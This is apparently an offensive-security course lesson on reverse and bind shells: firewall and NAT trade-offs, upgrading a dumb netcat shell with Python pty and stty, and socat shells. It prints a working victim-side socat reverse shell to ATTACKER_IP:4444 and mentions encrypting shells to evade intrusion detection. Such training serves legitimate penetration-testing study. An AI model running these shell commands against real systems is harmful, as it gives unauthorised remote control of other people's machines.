Skip to main content
Create your own
Lesson illustration

Stable Reverse and Bind Shells

Hello! Welcome back to our module on "Network Exploitation & Initial Access."

In the last lesson, we focused on crafting standalone payloads with msfvenom. You learned how to generate malicious files and the difference between staged and stageless payloads. This was about creating the weapon. Today, we'll focus on what happens when that weapon hits its mark: the connection it creates back to you, known as a shell.

Our goal is to establish stable remote access using reverse and bind shells. This is a fundamental skill. A simple, unstable connection can be frustrating and limit your ability to perform post-exploitation. A stable, fully interactive shell, however, gives you true control over the compromised system.


1. The Two Directions of Remote Access: Reverse vs. Bind Shells

After you successfully exploit a target, the payload's job is to establish a command and control (C2) channel. This connection can be initiated in one of two ways: a reverse shell or a bind shell. The direction of the initial connection is the only difference, but it has significant strategic implications.

Reverse Shell vs. Bind Shell Comparison
This diagram illustrates the fundamental difference in connection flow. In a reverse shell, the attacker listens and the victim connects out. In a bind shell, the victim listens and the attacker connects in.

Let's break down these concepts with a clear video explanation and demonstration.

1 Exploitation Basics - Reverse Shells vs Bind Shells

The video '1 Exploitation Basics - Reverse Shells vs Bind Shells' by COURSE SINK provides a concise and clear explanation of both shell types, including a practical demonstration using netcat, our primary tool for this lesson.

Watch the following segments: 00:10 - 02:20: Pay close attention to the definition of a reverse shell (victim connects to attacker) versus a bind shell (attacker connects to victim). 04:33 - 06:45: Observe the practical netcat commands used to establish both types of shells. Notice which side is listening (-l flag) in each scenario.

To summarize the core idea:

  • Reverse Shell: Your attacking machine starts a listener on a specific port. The payload executed on the target machine initiates a connection back to your listener. This is the most common type of shell.
  • Bind Shell: The payload executed on the target machine opens a port and binds a shell (like /bin/bash or cmd.exe) to it, effectively turning the victim machine into a server. Your attacking machine then connects to the victim's open port.

2. Strategic Considerations: Firewalls and NAT

So, why do we have two types? Why not just use one? The choice is almost always dictated by the network environment, specifically firewalls and Network Address Translation (NAT).

  • Why Reverse Shells are Preferred (95% of the time): Most networks have security policies that are much stricter about inbound connections than outbound ones. A corporate firewall will likely block an external attacker from connecting to an arbitrary port on an internal server (making bind shells difficult). However, that same firewall often permits internal hosts to make outbound connections to the internet, for example, to browse websites on port 80 or 443. A reverse shell payload leverages this, making an outbound connection that the firewall is more likely to allow.

  • When Bind Shells are Useful:

    • Internal Assessments: If you're already on the same internal network as the target, firewalls between you and the target are often less restrictive, and you can connect directly to a listener on the victim.
    • Pivoting: Once you compromise one machine, you might use it to launch a bind shell on another machine within the same internal network, which you can then connect to from your first foothold.
    • Exploitable Inbound Rules: In rare cases, a target might have a misconfigured firewall that explicitly allows inbound connections on a high-numbered port, which you could use for a bind shell.

The video you just watched also has a great segment on this.

1 Exploitation Basics - Reverse Shells vs Bind Shells

Let's revisit the same video to solidify your understanding of the strategic implications.

Watch from 02:43 to 04:33. The speaker does an excellent job explaining how NAT and firewalls make reverse shells the more common choice in real-world scenarios.


3. The Problem: "Dumb" vs. Interactive Shells

You've used netcat to get a connection. You type whoami and it works. But then you try to use the up-arrow to see your last command and get ^[[A]. You press Ctrl+C to stop a running process and your entire shell disconnects. This is a "dumb" shell.

It's called "dumb" because it's just a raw input/output stream, not a proper terminal. It lacks critical features:

  • No command history (arrow keys don't work).
  • No tab completion.
  • Interactive programs like ssh, su, nano, or vim will not render correctly.
  • Ctrl+C will kill the entire shell, not just the foreground process.

Working in a dumb shell is inefficient and limits what you can do. Our next goal is to upgrade it to a fully interactive TTY (short for teletype, the historical name for a terminal).


4. Upgrading Your Shell: The Path to Stability

There are several methods to stabilize a shell. We'll focus on the most common one for Linux targets, which leverages your Python knowledge, and then introduce a more powerful tool for the job.

The Python PTY Stabilization Trick

This is the canonical method for upgrading a dumb Linux shell. It's a multi-step process that uses built-in Linux utilities. Since most Linux distributions come with Python installed, it's highly reliable.

For a comprehensive guide, we'll use a textual resource that you can bookmark for future reference.

What the Shell?

The article 'What the Shell?' serves as an excellent cheat sheet. We'll focus on the section for stabilizing shells.

Read the section titled 'Stabilizing NC Shells', focusing specifically on the 'Python Stabilization' subsection. The three steps laid out here are your primary playbook for this technique.

Here is the process, broken down:

  1. Spawn a Better Shell (on the victim): The first command uses Python's pty module to spawn a more feature-rich bash shell. This is the crucial first step.

    python3 -c 'import pty; pty.spawn("/bin/bash")'
    

    Note: If python3 doesn't work, try python.

    Python Shell Upgrade
    This image shows the immediate effect of using the Python pty one-liner. Notice how after the command, the prompt changes and commands like ls start working correctly.

  2. Background the Shell (on your attacker machine): Press Ctrl+Z. This suspends the netcat session and returns you to your own local terminal prompt.

  3. Set Terminal to Raw Mode (on your attacker machine): Now, you'll prepare your own terminal to properly handle the interactive session.

    stty raw -echo; fg
    
    • stty raw: Puts your terminal in raw mode, so keystrokes are passed directly to the remote shell.
    • -echo: Stops your terminal from echoing the characters you type (the remote shell will handle this now).
    • fg: Brings the backgrounded netcat job back to the foreground.
  4. Configure the Remote Terminal (on the victim): You may need to press Enter once to see the prompt. The shell is now interactive, but it might not know your terminal's size or type.

    export TERM=xterm
    stty rows 38 cols 115  # Adjust these numbers to match your own terminal size
    

    You can find your local terminal's size by opening a new tab and running stty -a.

For a visual walkthrough of this entire sequence, the following video is invaluable.

Upgrade a Dumb Reverse Shell into a Fully Functional Terminal [Tutorial]

The video 'Upgrade a Dumb Reverse Shell into a Fully Functional Terminal' by Null Byte walks through this exact stabilization process, showing the problems of a dumb shell and the step-by-step solution.

Watch from 04:15 to 09:35. This segment covers the exact four-step process we just discussed: spawning with Python's pty, backgrounding the shell, using stty raw -echo, and configuring the terminal environment.

Test your understanding!

You've just received a dumb netcat shell on a Linux target. You want to stabilize it. What are the two commands you would run on your local attacker machine as part of this process?

Show answer

The two commands are:

  1. Ctrl+Z (This is a key combination, not a command, but it's the action you take to background the shell).
  2. stty raw -echo; fg (This command adjusts your local terminal and brings the shell back to the foreground).

The other commands (python... and export TERM...) are run on the remote victim shell.

A More Powerful Tool: socat

While netcat is the classic tool, socat is its much more powerful successor. Think of it as a relay for bidirectional data streams. It can create fully stable TTY shells from the start and even encrypt them. For an aspiring expert, knowing socat is a must.

The What the Shell? article also provides excellent recipes for socat.

What the Shell?

Let's return to 'What the Shell?' to see how socat simplifies and enhances shell stability.

Skim the sections on 'socat Stabilization' and 'Reverse Shell with Socat'. Then, focus on the section 'To spawn a fully stable linux reverse tty shell'. Notice the listener command and the specific payload command needed on the victim. Also, briefly read the 'Socat Encrypted Shells' section to see how you can add a layer of encryption, which is great for bypassing intrusion detection systems (IDS).

Here's the key recipe for a fully stable socat reverse shell:

  • Attacker (Listener):

    socat file:`tty`,raw,echo=0 tcp-listen:4444
    
  • Victim (Payload):

    socat exec:'bash -li',pty,stderr,sigint,setsid,sane tcp:ATTACKER_IP:4444
    

This single socat command on the victim side achieves what took us multiple steps with netcat and stty. It is the superior method when socat is available on the target (or you can upload it).


Conclusion

You now have a complete understanding of how to establish and, critically, stabilize remote access. This moves you from simply running commands to truly interacting with a compromised system.

Key Takeaways:

  • Reverse shells (victim connects out) are generally preferred over bind shells (attacker connects in) due to firewall and NAT restrictions.
  • Basic shells from tools like netcat are "dumb" and lack interactivity.
  • The Python pty and stty trick is the standard manual method for upgrading a dumb Linux shell to a fully interactive TTY.
  • socat is a more advanced tool that can create fully stable and even encrypted shells from the outset, making it a superior choice when available.

Next Lesson Preview:
So far, we've focused on gaining shells by exploiting a known vulnerability. But what if there's no public exploit for the services you discover? Often, the weakest link is not the software itself, but the credentials used to protect it. In our next lesson, we will pivot to attacking authentication directly and perform brute-force attacks against network services like SSH and FTP using Hydra.

Can't find a good explanation? Sign up and we'll make it for you

Sign up